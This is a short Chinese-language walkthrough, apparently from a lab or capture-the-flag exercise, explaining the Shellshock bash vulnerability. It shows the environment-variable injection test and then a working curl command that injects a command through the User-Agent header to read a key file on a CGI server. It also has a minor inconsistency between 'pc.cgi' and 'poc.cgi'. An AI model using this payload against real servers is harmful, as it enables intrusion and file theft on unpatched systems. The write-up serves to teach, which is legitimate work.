Bash漏洞分析溯源
先看如下代码:
$ export X='() { echo "inside X"; }; echo "outside X";'
再用env 查看创建出来的环境变量
$ env X=(){ echo "inside X"; }; echo "outside X";
当我们在当前的bash shell进程下产生一个bash的子进程时,新的子进程会读取父进程的所有export的环境变量,并复制到自己的进程空间中,很明显,上面的X变量的函数的后面还注入了一条命令:echo “outside X”,这条命令会在父进程向子进程复制的过程中被执行。
1、破壳漏洞,是由bash cgi产生的漏洞,如果web程序调用bash脚本就可能产生这个漏洞
2、通常cgi目录为cgi-bin,这里也是,并且破壳漏洞cgi源文件名就是pc.cgi,那么构造伪造请求包时,就可以使用url:http://ip:port//cgi-bin/poc.cgi
3、使用curl或者抓包软件构造user-Agent(或者别的参数,比如Connection)就可以将参数传进去
使用curl的方法:
curl -A '() { :; }; echo -e "\r\n";/bin/cat ../../../key.txt' http://ip:port/cgi-bin/poc.cgi